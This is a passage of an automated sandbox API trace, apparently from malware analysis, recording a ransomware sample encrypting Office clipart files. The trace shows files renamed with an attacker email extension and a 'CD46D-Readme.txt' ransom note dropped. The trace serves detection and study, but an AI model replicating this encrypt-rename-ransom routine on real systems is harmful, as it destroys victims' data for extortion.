Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x22624f96 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x445c8628 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x5071746e [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x424b0044 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x478d67e2 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x2e1532a4 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x35455e2d [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x2e9e766c [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x675b3fca [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x71f1ea4c [0060.902] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x519cf49 [0060.902] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x25cfce96 [0060.902] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x3da03fb [0060.902] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x2b50b680 [0060.902] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x415cd4f0 [0060.902] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x780eb1d5 [0060.902] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x10d0ae35 [0060.902] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x4f975fff [0060.915] ReadFile (in: hFile=0x740, lpBuffer=0x19a8d198, nNumberOfBytesToRead=0xcb3, lpNumberOfBytesRead=0x34efd2c, lpOverlapped=0x0 | out: lpBuffer=0x19a8d198*, lpNumberOfBytesRead=0x34efd2c*=0xcb3, lpOverlapped=0x0) returned 1 [0060.915] SetFilePointerEx (in: hFile=0x740, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.915] WriteFile (in: hFile=0x740, lpBuffer=0x19a999a0*, nNumberOfBytesToWrite=0xcb3, lpNumberOfBytesWritten=0x34efd28, lpOverlapped=0x0 | out: lpBuffer=0x19a999a0*, lpNumberOfBytesWritten=0x34efd28*=0xcb3, lpOverlapped=0x0) returned 1 [0061.390] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec97c8 [0061.390] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec97f0 [0061.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec97f0) returned 1 [0061.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a999a0) returned 1 [0061.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a8d198) returned 1 [0061.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5418) returned 1 [0061.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402528) returned 1 [0061.390] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0210 [0061.390] SetFilePointerEx (in: hFile=0x740, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.390] WriteFile (in: hFile=0x740, lpBuffer=0x12d7d340*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x34efd90, lpOverlapped=0x0 | out: lpBuffer=0x12d7d340*, lpNumberOfBytesWritten=0x34efd90*=0x109, lpOverlapped=0x0) returned 1 [0061.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d340) returned 1 [0061.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0240) returned 1 [0061.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec97f0) returned 1 [0061.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0210) returned 1 [0061.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec97c8) returned 1 [0061.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8aa8) returned 1 [0061.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b48) returned 1 [0061.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b70) returned 1 [0061.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00af0 [0061.482] wcscpy (in: _Dest=0x5e00af0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" [0061.482] wcscat (in: _Dest=0x5e00af0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.482] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x34efd48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x44ce90 [0061.578] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ce90) returned 1 [0061.578] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x457150) returned 1 [0061.578] NtQueryInformationFile (in: FileHandle=0x740, IoStatusBlock=0x34efd54, FileInformation=0x34efd2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34efd54, FileInformation=0x34efd2c) returned 0x0 [0061.578] NtSetInformationFile (FileHandle=0x740, IoStatusBlock=0x34efd54, FileInformation=0x34efd2c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.579] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00af0) returned 1 [0061.579] FlushFileBuffers (hFile=0x740) returned 1 [0062.197] CloseHandle (hObject=0x740) returned 1 [0062.646] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cdac0 [0062.646] wcscpy (in: _Dest=0x97cdac0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.646] wcscat (in: _Dest=0x97cdac0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0xffffffff [0062.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x650 [0063.418] WriteFile (in: hFile=0x650, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x34efd50, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x34efd50*=0x6fd, lpOverlapped=0x0) returned 1 [0063.418] CloseHandle (hObject=0x650) returned 1 [0063.418] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cdac0) returned 1 [0063.418] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8cc8) returned 1 Thread: id = 1045 os_tid = 0xa14 [0056.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0060.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF", dwFileAttributes=0x20) returned 1 [0060.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x738 [0060.916] GetFileSizeEx (in: hFile=0x738, lpFileSize=0xf58f7c4 | out: lpFileSize=0xf58f7c4*=8097) returned 1 [0060.916] SetFilePointerEx (in: hFile=0x738, liDistanceToMove=0x1f9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.916] ReadFile (in: hFile=0x738, lpBuffer=0xf58f748, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf58f744, lpOverlapped=0x0 | out: lpBuffer=0xf58f748*, lpNumberOfBytesRead=0xf58f744*=0x4, lpOverlapped=0x0) returned 1 [0060.918] SetFilePointerEx (in: hFile=0x738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b20 [0060.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b98 [0060.918] NtQuerySystemTime (in: CurrentTime=0xf58f724 | out: CurrentTime=0xf58f724*=132174898248948000) returned 0x0 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x1e54ee14 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x4e24e48 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x56b9faf2 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x43cd7f16 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x7fb2a4be [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x1a88c2ad [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x50afab63 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0xf894227 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0xb1add90 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x10c51147 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x2be803de [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x7b259b8e [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x729916bf [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x637d5598 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x49fe755b [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x71e5e908 [0060.918] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x46481195 [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x174e4249 [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x72f11725 [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x7b0a823b [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x7a07d216 [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x5805cffc [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x21ad8d27 [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x53a5f2c2 [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x1e2abb67 [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x5f043cb1 [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x43619f1f [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0xb9b797 [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0xef77eb9 [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x19c2cadc [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x5bd18b9e [0060.919] RtlRandomEx (in: Seed=0xf58f730 | out: Seed=0xf58f730) returned 0x9ba782b [0060.932] ReadFile (in: hFile=0x738, lpBuffer=0x19aa61a8, nNumberOfBytesToRead=0x1fa1, lpNumberOfBytesRead=0xf58f720, lpOverlapped=0x0 | out: lpBuffer=0x19aa61a8*, lpNumberOfBytesRead=0xf58f720*=0x1fa1, lpOverlapped=0x0) returned 1 [0060.933] SetFilePointerEx (in: hFile=0x738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.933] WriteFile (in: hFile=0x738, lpBuffer=0x19ab29b0*, nNumberOfBytesToWrite=0x1fa1, lpNumberOfBytesWritten=0xf58f71c, lpOverlapped=0x0 | out: lpBuffer=0x19ab29b0*, lpNumberOfBytesWritten=0xf58f71c*=0x1fa1, lpOverlapped=0x0) returned 1 [0061.391] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9818 [0061.391] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9840 [0061.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9840) returned 1 [0061.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19ab29b0) returned 1 [0061.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19aa61a8) returned 1 [0061.392] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5238) returned 1 [0061.392] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0061.392] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0270 [0061.392] SetFilePointerEx (in: hFile=0x738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.392] WriteFile (in: hFile=0x738, lpBuffer=0x12d7d458*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xf58f784, lpOverlapped=0x0 | out: lpBuffer=0x12d7d458*, lpNumberOfBytesWritten=0xf58f784*=0x109, lpOverlapped=0x0) returned 1 [0061.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d458) returned 1 [0061.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e02a0) returned 1 [0061.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9840) returned 1 [0061.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0270) returned 1 [0061.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9818) returned 1 [0061.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b20) returned 1 [0061.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8bc0) returned 1 [0061.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8be8) returned 1 [0061.483] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e002d0 [0061.483] wcscpy (in: _Dest=0x5e002d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" [0061.483] wcscat (in: _Dest=0x5e002d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.483] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf58f73c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.483] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x424230 [0061.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e23db8) returned 1 [0061.583] NtQueryInformationFile (in: FileHandle=0x738, IoStatusBlock=0xf58f748, FileInformation=0xf58f720, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf58f748, FileInformation=0xf58f720) returned 0x0 [0061.583] NtSetInformationFile (FileHandle=0x738, IoStatusBlock=0xf58f748, FileInformation=0xf58f720, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0061.585] FlushFileBuffers (hFile=0x738) returned 1 [0062.199] CloseHandle (hObject=0x738) returned 1 [0062.670] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x12d971d0 [0062.670] wcscpy (in: _Dest=0x12d971d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.670] wcscat (in: _Dest=0x12d971d0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.078] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d971d0) returned 1 [0063.078] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8c40) returned 1 Thread: id = 1046 os_tid = 0xc84 [0056.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0060.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF", dwFileAttributes=0x20) returned 1 [0060.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xba0 [0060.933] GetFileSizeEx (in: hFile=0xba0, lpFileSize=0xf3bfd50 | out: lpFileSize=0xf3bfd50*=7686) returned 1 [0060.933] SetFilePointerEx (in: hFile=0xba0, liDistanceToMove=0x1e02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.934] ReadFile (in: hFile=0xba0, lpBuffer=0xf3bfcd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf3bfcd0, lpOverlapped=0x0 | out: lpBuffer=0xf3bfcd4*, lpNumberOfBytesRead=0xf3bfcd0*=0x4, lpOverlapped=0x0) returned 1 [0060.935] SetFilePointerEx (in: hFile=0xba0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.935] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.935] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b98 [0060.935] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c10 [0060.935] NtQuerySystemTime (in: CurrentTime=0xf3bfcb0 | out: CurrentTime=0xf3bfcb0*=132174898249104000) returned 0x0 [0060.935] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x51b23cf9 [0060.935] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x7f5ec340 [0060.935] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x70fe1996 [0060.935] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x615981b8 [0060.935] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x713c6645 [0060.935] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x677906da [0060.935] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x6c252619 [0060.935] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x279cfdd3 [0060.935] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x603b9a5d [0060.935] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x592f9760 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x41ffbf10 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x57637932 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x752cb0e9 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x5ed76d40 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x74aa5c6c [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x75c707cc [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x656351f2 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x5153c007 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x3aa75af7 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0xf3fe731 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x49fc8414 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x1b3e5ec2 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x9c0ceda [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x7ba860ae [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x44110a1a [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x78f8db06 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x2c7b333a [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x547374cd [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x322ce5ee [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x162ac5ad [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x27b4e0c6 [0060.936] RtlRandomEx (in: Seed=0xf3bfcbc | out: Seed=0xf3bfcbc) returned 0x7d0b0f96 [0060.949] ReadFile (in: hFile=0xba0, lpBuffer=0x19abf1b8, nNumberOfBytesToRead=0x1e06, lpNumberOfBytesRead=0xf3bfcac, lpOverlapped=0x0 | out: lpBuffer=0x19abf1b8*, lpNumberOfBytesRead=0xf3bfcac*=0x1e06, lpOverlapped=0x0) returned 1 [0060.950] SetFilePointerEx (in: hFile=0xba0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.950] WriteFile (in: hFile=0xba0, lpBuffer=0x19acb9c0*, nNumberOfBytesToWrite=0x1e06, lpNumberOfBytesWritten=0xf3bfca8, lpOverlapped=0x0 | out: lpBuffer=0x19acb9c0*, lpNumberOfBytesWritten=0xf3bfca8*=0x1e06, lpOverlapped=0x0) returned 1 [0062.364] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8d00 [0062.364] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8eb8 [0062.364] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8eb8) returned 1 [0062.364] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19acb9c0) returned 1 [0062.369] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19abf1b8) returned 1 [0062.375] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed51c0) returned 1 [0062.375] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0062.375] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cecc0 [0062.376] SetFilePointerEx (in: hFile=0xba0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.376] WriteFile (in: hFile=0xba0, lpBuffer=0x12d7c850*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xf3bfd10, lpOverlapped=0x0 | out: lpBuffer=0x12d7c850*, lpNumberOfBytesWritten=0xf3bfd10*=0x109, lpOverlapped=0x0) returned 1 [0062.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c850) returned 1 [0062.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecf0) returned 1 [0062.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8eb8) returned 1 [0062.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecc0) returned 1 [0062.741] 